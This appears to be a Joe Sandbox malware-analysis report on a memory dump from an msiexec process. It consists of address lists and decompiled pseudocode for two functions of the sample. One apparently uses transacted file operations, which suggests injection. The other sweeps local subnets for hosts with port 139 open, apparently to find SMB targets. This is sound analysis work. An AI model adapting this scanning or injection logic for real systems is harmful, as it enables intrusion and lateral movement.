0x00000000
0x00195f33
0x00195f56
0x00195f81
0x00195fad
0x00195fcf
0x00195fd7
0x00195fd7
0x00000000
0x00195ef3
0x00195fe0
0x00195fe9
0x00195ff1
0x00195ff9
0x00195ffc
0x00196003
0x0019600a
0x0019601b
0x00196029
0x0019602f
0x00196038
0x00196049
0x0019604e
0x00196057
0x0019605f
0x00196067
0x0019606a
0x0019607d
0x0019607f
0x0019608a
0x0019609e
0x001960af
0x001960c4
0x001960c8
0x001960d8
0x001960ef
0x001960ef
0x001960f1
0x001960fd
0x0019611b
0x00196120
0x00196128
0x00196130
0x00196133
0x00196143
0x00196147
0x0019615b
0x0019616b
0x00196173
0x0019617c
0x00196185
0x00196196
0x0019619b
0x001961a3
0x001961b8
0x001961bc
0x001961c5
0x001961df
0x001961df
0x001961e3
0x001961fd
0x001961fd
0x001961fd
0x0019620c
0x00196224
0x00196243
0x00196245
0x0019625b
0x00196263
0x0019626c
0x00196275
0x0019627e
0x00196287
0x00196298
0x0019629d
0x001962a0
0x001962b0
0x001962b4
0x001962bb
0x001962fb
0x00196303
0x0019630b
0x0019631e
0x00196326
0x00196328
0x00196339
0x00196361
0x00196369
0x0019638c
0x00196390
0x00196397
0x001963b4
0x001963b4
0x001963b4
0x001963c3
0x001963cc
0x001963e1
0x001963e5
0x001963f4
0x00196416
0x0019641e
0x00196427
0x00196442
0x00196446
0x00196466
0x00196468
0x0019648a
0x0019649a
0x001964af
0x001964b8
0x001964c0
0x001964c8
0x001964d0
0x001964d8
0x001964e9
0x001964f3
0x00196503
0x00196505
0x00196509
0x00000000
0x00000000
0x00000000
0x00196448
0x00000000
0x001963e7
0x00000000
0x00196392
0x00000000
0x0019633b
0x00000000
0x001962b6
0x00000000
0x001961be
0x00000000
0x00196149
0x00000000
0x001960ca
0x00000000
0x0019608c
0x00000000
0x0019601d
0x00000000
0x00195e1c
0x00000000
0x00195dde
0x0019650f
0x00196518
0x00196520
0x00196536
0x00196536
0x0019653e
0x00196552
0x00196554
0x00196554
0x00196566
0x0019657d
0x0019657f
0x0019657f
0x00196566
0x00196594
0x0019659e
0x0019659e
0x001965ab
0x001965bf
0x001965c1
0x001965c1
0x001965d3
0x001965ea
0x001965ec
0x001965ec
0x00196601
0x00196618
0x0019661a
0x0019661a
0x00196636
0x00000000
0x00196639
0x00000000
0x00195c7e
0x00195c7e
0x00195c7e
0x00195c7c
0x00195b6e
0x00195b6e
0x00195b6e
0x00195b05
0x00195b05
0x00195b05
0x0019663e
0x00196646

Strings

CreateTransaction, xrefs: 00195BDF
RollbackTransaction, xrefs: 00195C05

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00196700, Relevance: 2.0, Strings: 1, Instructions: 711
Crypto

C-Code - Quality: 80%

			E00196700(void* __edi, void* __esp, void* __eflags, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				void* _v534;
				short _v536;
				void* _v548;
				void* _v572;
				void* _v594;
				short _v596;
				void* _v608;
				void* _v620;
				void* _v640;
				long long _v648;
				char _v660;
				char _v664;
				intOrPtr _v668;
				long long _v672;
				void* _v676;
				long long _v680;
				void* _v684;
				void* _v692;
				long long _v700;
				void* _v708;
				void* _v716;
				void* _v764;
				void* _v772;
				long long _v780;
				void* _v784;
				void* _v792;
				signed int _v796;
				long long _v808;
				long long _v812;
				long long _v820;
				long long _v828;
				long long _v832;
				intOrPtr _v836;
				long long _v840;
				long long _v856;
				long long _v864;
				long long _v876;
				intOrPtr _v880;
				long long _v888;
				long long _v892;
				long long _v896;
				long long _v900;
				long long _v904;
				long long _v908;
				long long _v912;
				intOrPtr _v916;
				void* _v924;
				void* _v928;
				long long _v932;
				void* _v936;
				long long _v940;
				void* _v944;
				long long _v948;
				long long _v952;
				long long _v956;
				long long _v960;
				long long _v964;
				long long _v968;
				char _v972;
				long long _v976;
				long long _v980;
				long long _v984;
				long long _v988;
				void* _v996;
				long long _v1004;
				void* _v1008;
				long long _v1012;
				long long _v1020;
				long long _v1024;
				long long _v1028;
				long long _v1032;
				long long _v1036;
				long long _v1044;
				void* _t387;
				void* _t502;
				void* _t503;
				void* _t504;
				void* _t505;
				void* _t506;
				void* _t510;
				void* _t511;
				long long _t525;
				long long _t540;
				long long _t551;
				signed long long _t572;
				long long _t622;
				long long _t656;
				signed long long _t666;
				void* _t833;
				void* _t834;

				_a16 = __rdx;
				_a8 = __rcx;
				_t834 = _t833 - 0x3f0;
				_v536 = 0;
				memset(__edi, 0, 0x208 << 0);
				_t502 = __edi + 0x208;
				 *((long long*)( *0x00182533 + 0x243d4b))();
				E0018B3B0(E0018B3E0( &_v708, 0x19dfa0), 0x19dfa0);
				_v716 = 0x19dfa0;
				E0018B3C0( *0x00190D00(),  &_v708);
				_t525 =  *0x00182283 - 0x4815a4ec;
				 *_t525();
				_v828 = _t525;
				_v700 = _v828;
				_v812 = _v828 +  *((intOrPtr*)(_v700 + 0x3c));
				_v596 = 0;
				memset(_t502, 0, 0x22 << 0);
				_t510 = __esp + 0x18;
				_t503 = _t502 + 0x22;
				r9d = 0xf;
				 *0xFFFFFFFF9DFF02EC();
				_v912 = 0x1948a0;
				if(_v912 != 0) {
					_v952 = 0;
					memset(_t503, 0, 8 << 0);
					_t511 = _t510 + 0xc;
					_t504 = _t503 + 8;
					r8d =  *((intOrPtr*)(_v836 + 0x28));
					if( *0x00194F80() != 0) {
						_v948 = 0;
						_v972 = 0;
						_v940 = 0;
						_v912 = 0;
						while(_v912 < 5) {
							 *0xFFFFFFFFCD825FC5();
							_v972 = 0x195ac0;
							if(_v972 == 0) {
								L16:
								L5:
								_v912 = _v912 + 1;
								continue;
							}
							_t656 =  *0x001811A3 + 0x22763f;
							r9d = 0;
							r8d = 0;
							 *_t656();
							_v940 = _t656;
							_v716 =  *0x0018125A + 0x326dd0;
							_v1004 = 2;
							_v1012 = 0;
							_v1020 = 0;
							if( *_v716() != 0) {
								 *((long long*)( *((intOrPtr*)(0x182283)) - 0x4815a4ec))();
								_v708 = 0x194930;
								r8d = 0;
								if( *_v708() != 0) {
									 *0x001A30C8();
									_v772 = 0;
									memset(_t504, 0, 8 << 0);
									_t511 = _t511 + 0xc;
									_t504 = _t504 + 8;
									_t666 =  &_v764 * 0;
									 *((long long*)(_t834 + _t666 + 0x118)) = _v952;
									 *((long long*)(_t834 + _t666 + 0x118)) = _v960;
									r9d = 0x7530;
									r8d = 0;
									_v880 =  *((long long*)( *0x00182323 + 0x154e18))();
									 *((long long*)( *0x0018203A - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
									if(_v880 != 0) {
										goto L16;
									}
									 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
									if(_v976 != 0) {
										 *0x0018FE30();
									}
									_v976 = 0;
									_v968 = 0;
									_t387 = 1;
									goto L80;
								}
								 *((long long*)( *0x00181673 - 0x7a9555d))();
								 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
								 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
								 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
								goto L5;
							}
							 *((long long*)( *((intOrPtr*)(0x181673)) - 0x7a9555d))();
							 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
							goto L5;
						}
						_v932 = 0;
						_v864 = 0;
						 *0xFFFFFFFFBE88A090();
						_v932 = 0x18fcb0;
						_v700 = 0x18fd30;
						_t540 = _v700;
						 *_t540();
						 *_v932 = _t540;
						 *((long long*)(_v932 + 8)) = _v956 + 8;
						_v692 = 0x18fe50;
						 *_v692();
						_v908 = 0;
						while(_v908 < 5) {
							 *0xFFFFFFFFCD38C55B();
							_v972 = 0x195610;
							if(_v972 != 0) {
								break;
							}
							_v908 = _v908 + 1;
						}
						if( *_v932 != 0) {
							 *((long long*)(0x18fe30))();
						}
						 *_v932 = 0;
						 *((long long*)(_v932 + 8)) = 0;
						if(_v932 != 0) {
							 *((long long*)(0x18fe30))();
						}
						_v932 = 0;
						_t551 =  *((intOrPtr*)(0x1811a3)) + 0x22763f;
						r9d = 0;
						r8d = 0;
						 *_t551();
						_v940 = _t551;
						_v684 =  *((intOrPtr*)(0x18125a)) + 0x326dd0;
						_v1004 = 2;
						_v1012 = 0;
						_v1020 = 0;
						if( *_v684() != 0) {
							 *((long long*)( *((intOrPtr*)(0x182283)) - 0x4815a4ec))();
							_v676 = 0x194930;
							r8d = 0;
							if( *_v676() != 0) {
								_v892 = 0;
								_v876 = 0;
								_v900 = 0;
								_v820 = 0;
								memset(_t504, 0, 0x28 << 0);
								_t505 = _t504 + 0x28;
								_v928 = 0;
								while(0 != 1) {
									 *0x0018FF40();
									_v1024 = 0;
									_v1032 = 0x30;
									r8d = 0;
									 *0x001A30F0();
									_v916 = 0;
									if(_v832 != 0 || _v904 == 0) {
										if(_v916 == 0) {
											_v904 = _v904 + _v808;
											if((_v796 & 0x00000001) != 0 || (_v796 & 0x00000100) != 0) {
											} else {
												 *0xFFFFFFFFE2B7D740();
												_v912 = 0x18fcb0;
												if((_v796 & 0x00000001) != 0 || (_v796 & 0x00000100) != 0) {
												} else {
													if(_v808 <= 0x7fffffff) {
														_t622 = _v832;
														_v840 = _t622;
														while(_v808 > 0) {
															if(_v808 <= 0x100000) {
																_v896 = _v808;
															} else {
																_v896 = 0x100000;
															}
															_v892 = _v896;
															_v808 = _v808 - _t622;
															_v680 = 0x1a30f8;
															_v1032 =  &_v928;
															r9d = _v892;
															_t622 = _v680;
															_v916 =  *_t622();
															if(_v916 != 0) {
																L57:
																continue;
															} else {
																_v856 = 0;
																_v672 = 0x1900f0;
																r9d = 0x2c;
																_t622 = _v672;
																 *_t622();
																_v856 = _t622;
																if(_v856 == 0) {
																	goto L57;
																}
																_v888 = _v840 + _v856 - _v912;
																break;
															}
														}
														if(_v912 != 0) {
															 *((long long*)(0x18fe30))();
														}
														_v912 = 0;
														if(_v888 == 0) {
															continue;
														} else {
															break;
														}
													}
												}
											}
											continue;
										}
										goto L40;
									} else {
										L40:
										break;
									}
								}
								if(_v888 != 0) {
									_v664 = 0;
									_v904 = _v888;
									_v928 = _v968;
									_v1032 =  &_v664;
									r9d = 0x40;
									if( *0x001A30D8() == 0) {
										 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
										_v648 = 0;
										memset(_t505, 0, 8 << 0);
										_t506 = _t505 + 8;
										_v1004 =  &_v660;
										_v1012 =  &_v972;
										_v1020 = 0;
										_v1028 = _v900;
										_v1036 = 0;
										_v1044 = 0;
										r9d = 0;
										r8b = 1;
										if( *0x00184110() == 0) {
											_v668 =  *0x00196650();
											 *((intOrPtr*)(0x1a30c8))();
											if(_v988 != 0) {
												 *((long long*)(0x18fe30))();
											}
											_v988 = 0;
											_v980 = 0;
											_v780 = 0;
											memset(_t506, 0, 8 << 0);
											_t572 =  &_v772 * 0;
											 *((long long*)(_t834 + _t572 + 0x128)) = _v976;
											 *((long long*)(_t834 + _t572 + 0x128)) = _v984;
											r9d = 0x7530;
											r8d = 0;
											_v896 =  *((long long*)( *((intOrPtr*)(0x182323)) + 0x154e18))();
											 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
											if(_v896 != 0) {
												_t387 = 0;
											} else {
												_t387 = 1;
											}
										} else {
											if(_v988 != 0) {
												 *((long long*)(0x18fe30))();
											}
											_v988 = 0;
											_v980 = 0;
											 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
											_t387 = 0;
										}
									} else {
										if(_v976 != 0) {
											 *((long long*)(0x18fe30))();
										}
										_v976 = 0;
										_v968 = 0;
										 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
										 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
										 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
										 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
										_t387 = 0;
									}
								} else {
									if(_v976 != 0) {
										 *((long long*)(0x18fe30))();
									}
									_v976 = 0;
									_v968 = 0;
									 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
									_t387 = 0;
								}
								goto L80;
							}
							if(_v964 != 0) {
								 *((long long*)(0x18fe30))();
							}
							_v964 = 0;
							_v956 = 0;
							 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
							_t387 = 0;
						} else {
							if(_v964 != 0) {
								 *((long long*)(0x18fe30))();
							}
							_v964 = 0;
							_v956 = 0;
							 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
							_t387 = 0;
						}
					} else {
						 *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
						_t387 = 0;
					}
					goto L80;
				} else {
					_t387 = 0;
					L80:
					return _t387;
				}
			}

0x00196700
0x00196705
0x0019670b
0x00196714
0x0019672e
0x0019672e
0x0019674a
0x0019676c
0x00196771
0x001967a7
0x001967b3
0x001967bb
0x001967bd
0x001967cd
0x001967ef
0x001967f9
0x00196813
0x00196813
0x00196813
0x00196822
0x0019683a
0x0019683c
0x0019684d
0x00196856
0x0019686e
0x0019686e
0x0019686e
0x0019688a
0x001968a5
0x001968c5
0x001968ce
0x001968d7
0x001968e0
0x001968fd
0x0019692a
0x0019692c
0x00196937
0x00196bd6
0x001968ed
0x001968f6
0x00000000
0x001968f6
0x00196944
0x0019694a
0x0019694d
0x00196954
0x00196956
0x00196984
0x0019698c
0x00196994
0x0019699c
0x001969c0
0x00196a28
0x00196a38
0x00196a40
0x00196a5a
0x00196ac7
0x00196ac9
0x00196ae7
0x00196ae7
0x00196ae7
0x00196aee
0x00196af7
0x00196b0d
0x00196b22
0x00196b28
0x00196b3a
0x00196b53
0x00196b67
0x00196b7b
0x00196b85
0x00000000
0x00000000
0x00196b9c
0x00196ba4
0x00196bb8
0x00196bb8
0x00196bba
0x00196bc3
0x00196bcc
0x00000000
0x00196bcc
0x00196a70
0x00196a84
0x00196a98
0x00196aac
0x00000000
0x00196aac
0x001969d6
0x001969ea
0x001969fe
0x00196a12
0x00000000
0x00196a12
0x00196bdb
0x00196be4
0x00196c06
0x00196c08
0x00196c24
0x00196c2f
0x00196c37
0x00196c3e
0x00196c4f
0x00196c6d
0x00196c8a
0x00196c8c
0x00196ca9
0x00196cd9
0x00196cdb
0x00196ce6
0x00000000
0x00196cea
0x00196ca2
0x00196ca2
0x00196cf7
0x00196d0e
0x00196d0e
0x00196d15
0x00196d21
0x00196d2f
0x00196d43
0x00196d43
0x00196d45
0x00196d55
0x00196d5b
0x00196d5e
0x00196d65
0x00196d67
0x00196d95
0x00196d9d
0x00196da5
0x00196dad
0x00196dd1
0x00196e53
0x00196e63
0x00196e6b
0x00196e85
0x00196f13
0x00196f1f
0x00196f2b
0x00196f37
0x00196f55
0x00196f55
0x00196f57
0x00196f62
0x00196f87
0x00196f96
0x00196f9f
0x00196fb0
0x00196fc0
0x00196fc2
0x00196fd2
0x00196fe7
0x00197004
0x00197018
0x0019702f
0x00197046
0x00197048
0x0019705c
0x00197073
0x0019707f
0x00197086
0x0019708e
0x00197096
0x001970b1
0x001970c7
0x001970b3
0x001970b3
0x001970b3
0x001970d5
0x001970f1
0x0019710e
0x0019711e
0x00197123
0x0019713b
0x00197145
0x00197154
0x001971dd
0x00000000
0x0019715a
0x0019715a
0x0019717b
0x00197183
0x00197198
0x001971a0
0x001971a2
0x001971b3
0x00000000
0x00000000
0x001971d3
0x00000000
0x001971d3
0x00197154
0x001971eb
0x00197202
0x00197202
0x00197204
0x00197219
0x00000000
0x0019721b
0x00000000
0x0019721b
0x00197219
0x00197081
0x0019705c
0x00000000
0x00197018
0x00000000
0x00196fe9
0x00196fe9
0x00000000
0x00196fe9
0x00196fd2
0x0019722b
0x001972b9
0x001972cd
0x001972d9
0x001972f5
0x001972fa
0x00197319
0x001973b9
0x001973bb
0x001973d9
0x001973d9
0x001973f0
0x001973fa
0x001973ff
0x00197410
0x00197415
0x0019741e
0x00197427
0x0019742a
0x00197438
0x001974ca
0x001974e5
0x001974ed
0x00197501
0x00197501
0x00197503
0x0019750c
0x00197515
0x00197533
0x0019753a
0x00197543
0x00197559
0x0019756e
0x00197574
0x00197586
0x0019759f
0x001975b3
0x001975c7
0x001975de
0x001975e8
0x001975f1
0x001975ea
0x001975ea
0x001975ea
0x0019743a
0x00197440
0x00197454
0x00197454
0x00197456
0x0019745f
0x0019747a
0x0019748e
0x001974a5
0x001974a7
0x001974a7
0x0019731f
0x00197325
0x00197339
0x00197339
0x0019733b
0x00197344
0x0019735f
0x00197373
0x00197387
0x0019739e
0x001973a0
0x001973a0
0x00197231
0x00197237
0x0019724b
0x0019724b
0x0019724d
0x00197256
0x00197271
0x00197285
0x00197299
0x001972b0
0x001972b2
0x001972b2
0x00000000
0x0019722b
0x00196e91
0x00196ea5
0x00196ea5
0x00196ea7
0x00196eb0
0x00196ecb
0x00196edf
0x00196ef3
0x00196f0a
0x00196f0c
0x00196dd3
0x00196dd9
0x00196ded
0x00196ded
0x00196def
0x00196df8
0x00196e13
0x00196e27
0x00196e3b
0x00196e3d
0x00196e3d
0x001968a7
0x001968bc
0x001968be
0x001968be
0x00000000
0x0019684f
0x0019684f
0x001975f3
0x001975fb
0x001975fb

Strings

0, xrefs: 00196F9F

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00199910, Relevance: 1.6, Strings: 1, Instructions: 381
Crypto

C-Code - Quality: 30%

			E00199910(void* __edx, long long __rax, long long __rcx, long long __rdx, long long __rsi, void* __r9, long long __r12, long long __r13, long long __r14, long long __r15) {
				void* _t142;
				signed int _t162;
				void* _t170;
				signed int _t177;
				signed int _t180;
				signed int _t181;
				void* _t218;
				void* _t221;
				signed int _t223;
				void* _t224;
				signed long long _t235;
				signed long long _t236;
				long long _t240;
				signed long long _t253;
				long long _t263;
				long long* _t264;
				long long* _t266;
				signed long long _t267;
				signed long long _t274;
				signed long long _t275;
				intOrPtr _t279;
				long long _t282;
				long long _t291;
				intOrPtr* _t303;
				intOrPtr* _t304;
				signed long long _t306;
				long long* _t312;
				long long* _t314;
				long long* _t316;
				void* _t319;
				void* _t320;
				signed long long _t328;
				long long _t336;
				long long* _t339;
				long long* _t341;
				long long* _t346;
				long long* _t348;

				_t291 = __rdx;
				 *((long long*)(_t319 + 0x10)) = __rdx;
				 *((long long*)(_t319 + 8)) = __rcx;
				_t316 = _t319 - 0x100;
				_t320 = _t319 - 0x200;
				 *((long long*)(_t316 + 0x20)) = __rax;
				 *((long long*)(_t316 + 0x28)) = __rax;
				 *((long long*)(_t316 + 0x30)) = __rax;
				 *((long long*)(_t316 + 0x38)) = __rax;
				 *((long long*)(_t316 + 0x40)) = __rax;
				 *((long long*)(_t320 + 0x78)) = 0x199f50;
				 *0x00190560();
				if(0 != 0) {
					_t12 = _t291 + 0x50; // 0x50
					r8d = _t12;
					E00185A30();
					 *((long long*)(_t316 - 0x68)) = _t316 - 0x70;
					 *((long long*)(_t316 - 0x70)) = _t316 - 0x70;
					 *((long long*)( *0x001822D3 + 0x1b6396))();
					r9d = 0;
					_t235 =  *0x001811A3 + 0x22763f;
					r8d = 0;
					 *_t235();
					 *((long long*)(_t316 - 0x20)) = __rdx;
					 *(_t316 - 0x28) = _t235;
					 *((long long*)(_t316 - 0x58)) = __rcx;
					 *((intOrPtr*)(_t316 + 0x130)) = 0;
					if( *0xFFFFFFFFCFD3F670() != 0x6f) {
						goto L1;
					} else {
						 *((long long*)(_t320 + 0x1f0)) = __r12;
						 *((long long*)(_t320 + 0x1e8)) = __r13;
						 *0x28995d53();
						 *(_t316 + 0x138) = _t235;
						_t328 = _t235;
						if(_t235 == 0) {
							L5:
							_t142 = 0;
						} else {
							_t274 = _t235;
							if( *0x00184FE0() == 0) {
								 *((long long*)(_t320 + 0x1f8)) = __rsi;
								 *((long long*)(_t320 + 0x1e0)) = __r14;
								 *((long long*)(_t320 + 0x1d8)) = __r15;
								r15d = 0;
								do {
									if( *((intOrPtr*)(_t328 + 0x1a4)) != 0x18) {
										_t37 = _t328 + 0x1b8; // 0x1b8
										_t303 = _t37;
										if(_t303 != 0) {
											_t314 =  *0x00183513 + 0x6bde;
											_t348 =  *0x001834BA + 0x314d4f;
											do {
												 *_t314();
												_t177 =  *_t348();
												_t41 = _t303 + 8; // 0x1c0
												_t274 = _t41;
												_t181 = _t177;
												 *_t314();
												_t180 =  *_t348() & _t181;
												if(_t180 != 0 && (_t180 & 0xffff0000) != 0xa9fe0000) {
													r15d = r15d + ( !_t181 | _t180) - _t180;
												}
												_t303 =  *_t303;
											} while (_t303 != 0);
										}
									}
									_t328 =  *_t328;
								} while (_t328 != 0);
								_t275 = _t274 << 4;
								 *0x0018FCB0();
								 *(_t320 + 0x60) = _t235;
								r15d = 0;
								_t236 =  *(_t316 + 0x138);
								do {
									if( *((intOrPtr*)(_t236 + 0x1a4)) != 0x18) {
										_t336 = _t236 + 0x1b8;
										 *((long long*)(_t320 + 0x58)) = _t336;
										if(_t336 != 0) {
											_t306 =  *((intOrPtr*)(0x183513)) + 0x6bde;
											_t266 =  *((intOrPtr*)(0x1834ba)) + 0x314d4f;
											 *(_t316 - 0x80) = _t306;
											 *((long long*)(_t320 + 0x50)) = _t266;
											do {
												 *_t306();
												_t162 =  *_t266();
												_t275 = _t336 + 8;
												r12d = _t162;
												 *_t306();
												_t223 =  *_t266() & r12d;
												r12d =  !r12d;
												r12d = r12d | _t223;
												if(_t223 != 0 && (_t223 & 0xffff0000) != 0xa9fe0000) {
													_t224 = _t223 + 1;
													if(_t224 < r12d) {
														_t346 =  *0x0018366A + 0x124e41;
														 *((long long*)(_t320 + 0x68)) = 0x18a5f0;
														_t339 =  *((intOrPtr*)(_t320 + 0x68));
														_t253 = 0x190730;
														 *((long long*)(_t320 + 0x70)) = 0x2a39ddaa;
														asm("o16 nop [eax+eax]");
														do {
															 *(_t320 + 0x42) = _t253;
															 *((intOrPtr*)(_t320 + 0x4a)) = 0;
															 *((short*)(_t320 + 0x4e)) = 0;
															 *((intOrPtr*)(_t320 + 0x40)) = 0x8b000002;
															 *_t266();
															r8d = 0;
															 *((intOrPtr*)(_t320 + 0x44)) = 0;
															 *_t346();
															_t267 = _t253;
															if(_t253 == 0xffffffff) {
																_t306 =  *0x00182A3A - 0x4acdf8f6;
																do {
																	 *_t306();
																	r8d = 0;
																	 *_t346();
																	_t267 = _t253;
																} while (_t253 == 0xffffffff);
															}
															asm("lock dec eax");
															_t306 = (_t306 << 4) +  *(_t320 + 0x60);
															 *_t306 = _t267;
															 *((intOrPtr*)(_t306 + 8)) =  *_t339();
															 *(_t320 + 0x30) = _t316 - 0x70;
															r9d = 0x10;
															 *(_t320 + 0x28) = _t306;
															_t275 = _t316 + 0x20;
															 *(_t320 + 0x20) = _t253;
															_t170 =  *((intOrPtr*)(_t320 + 0x70))();
															if(_t170 == 0xffffffff) {
																_t275 = _t267;
																_t253 =  *0x0018356A + 0x3b549a;
																 *_t253();
																 *_t306 = 0xffffffff;
																asm("lock dec eax");
															} else {
																if(_t170 == 0) {
																	_t275 = _t267;
																	 *( *((intOrPtr*)(0x18356a)) + 0x3b549a)();
																	r8d =  *((intOrPtr*)(_t320 + 0x44));
																	_t253 = _t316 - 0x70;
																	 *(_t320 + 0x28) = 0;
																	r9d = 0;
																	 *_t306 = 0xffffffff;
																	 *(_t320 + 0x20) = _t253;
																	 *((intOrPtr*)(_t320 + 0x78))();
																} else {
																	if(_t170 == 1) {
																		r15d = r15d + 1;
																	}
																}
															}
															_t266 =  *((intOrPtr*)(_t320 + 0x50));
															_t224 = _t224 + 1;
														} while (_t224 < r12d);
														_t336 =  *((intOrPtr*)(_t320 + 0x58));
														_t306 =  *(_t316 - 0x80);
													}
												}
												_t336 =  *_t336;
												 *((long long*)(_t320 + 0x58)) = _t336;
											} while (_t336 != 0);
											_t236 =  *(_t316 + 0x138);
										}
									}
									_t236 =  *_t236;
									 *(_t316 + 0x138) = _t236;
								} while (_t236 != 0);
								_t341 =  *(_t320 + 0x60);
								while(1) {
									_t221 = 0;
									_t218 = 0;
									if(r15d == 0) {
										break;
									}
									_t264 = _t341;
									do {
										if( *_t264 != 0xffffffff) {
											if( *0x575bce0a() -  *((intOrPtr*)(_t264 + 8)) <= 0x1e) {
												_t221 = 1;
											} else {
												_t94 = _t341 + 0x18a5f00;
												_t96 = _t275 | 0xffffffff;
												_t275 =  *_t94;
												 *_t94 = _t96;
												 *( *((intOrPtr*)(0x18356a)) + 0x3b549a)();
											}
										}
										_t218 = _t218 + 1;
										_t264 = _t264 + 0x10;
									} while (_t218 < r15d);
									if(_t221 != 0) {
										continue;
									}
									break;
								}
								 *0x00190910();
								if(_t341 != 0) {
									 *0x0018FE30();
								}
								_t304 =  *((intOrPtr*)(_t316 - 0x70));
								if(_t304 != _t316 - 0x70) {
									_t312 = 0x18fe30;
									do {
										_t279 =  *_t304;
										_t240 =  *((intOrPtr*)(_t304 + 8));
										r8d = 0x80;
										 *_t240 = _t279;
										 *((long long*)(_t279 + 8)) = _t240;
										E00185A30();
										 *0x00194260();
										_t263 = _t240;
										r9d =  *(_t304 + 0x10) & 0x000000ff;
										 *(_t320 + 0x30) =  *(_t304 + 0x13) & 0x000000ff;
										 *(_t320 + 0x28) =  *(_t304 + 0x12) & 0x000000ff;
										_t282 = _t316 + 0x50;
										 *(_t320 + 0x20) =  *(_t304 + 0x11) & 0x000000ff;
										 *0x00190D10();
										if(_t263 != 0) {
											_t282 = _t263;
											_t240 = 0x1943d0;
											 *0x5d01dc25();
										}
										 *((long long*)(_t316 - 0x10)) = _t240;
										 *((long long*)(_t316 - 8)) = _t240;
										 *((long long*)(_t316 + 0x10)) = _t240;
										 *((intOrPtr*)(_t316 - 0xc)) = 0;
										 *_t316 = _t282;
										 *((long long*)(_t316 + 0x18)) = _t282;
										 *((long long*)(_t316 + 8)) = _t316 + 0x50;
										 *0x00193560();
										 *_t312();
										_t304 =  *((intOrPtr*)(_t316 - 0x70));
									} while (_t304 != _t316 - 0x70);
								}
								 *((long long*)( *0x00181DE3 - 0x388eb91d))();
								 *((long long*)( *0x0018203A - 0x4ec641ef))();
								_t142 = 1;
							} else {
								goto L5;
							}
						}
						return _t142;
					}
				} else {
					L1:
					return 0;
				}
			}

0x00199910
0x00199910
0x00199915
0x0019991d
0x00199925
0x00199931
0x00199943
0x00199947
0x0019994e
0x00199955
0x0019995c
0x00199972
0x00199976
0x0019998b
0x0019998b
0x0019998f
0x00199998
0x001999a4
0x001999b5
0x001999be
0x001999c1
0x001999c7
0x001999d0
0x001999d2
0x001999e4
0x001999ef
0x001999f5
0x00199a04
0x00000000
0x00199a0a
0x00199a13
0x00199a1b
0x00199a31
0x00199a34
0x00199a3b
0x00199a41
0x00199a53
0x00199a53
0x00199a43
0x00199a4a
0x00199a51
0x00199a5a
0x00199a62
0x00199a6a
0x00199a72
0x00199a75
0x00199a7e
0x00199a80
0x00199a80
0x00199a8b
0x00199a9b
0x00199aa2
0x00199ab0
0x00199ab4
0x00199ab8
0x00199abb
0x00199abb
0x00199abf
0x00199ac1
0x00199ac8
0x00199aca
0x00199ae2
0x00199ae2
0x00199ae5
0x00199ae8
0x00199ab0
0x00199a8b
0x00199aed
0x00199af1
0x00199b02
0x00199b06
0x00199b09
0x00199b0e
0x00199b11
0x00199b20
0x00199b27
0x00199b2d
0x00199b34
0x00199b3c
0x00199b50
0x00199b57
0x00199b5e
0x00199b62
0x00199b67
0x00199b6b
0x00199b6f
0x00199b71
0x00199b75
0x00199b78
0x00199b80
0x00199b83
0x00199b86
0x00199b8b
0x00199ba5
0x00199baa
0x00199bc4
0x00199bcb
0x00199bd7
0x00199bdc
0x00199be2
0x00199be7
0x00199bf0
0x00199bf4
0x00199bf9
0x00199bfd
0x00199c05
0x00199c0d
0x00199c0f
0x00199c12
0x00199c1b
0x00199c1e
0x00199c25
0x00199c2e
0x00199c35
0x00199c3a
0x00199c3c
0x00199c46
0x00199c49
0x00199c4c
0x00199c35
0x00199c52
0x00199c60
0x00199c65
0x00199c6f
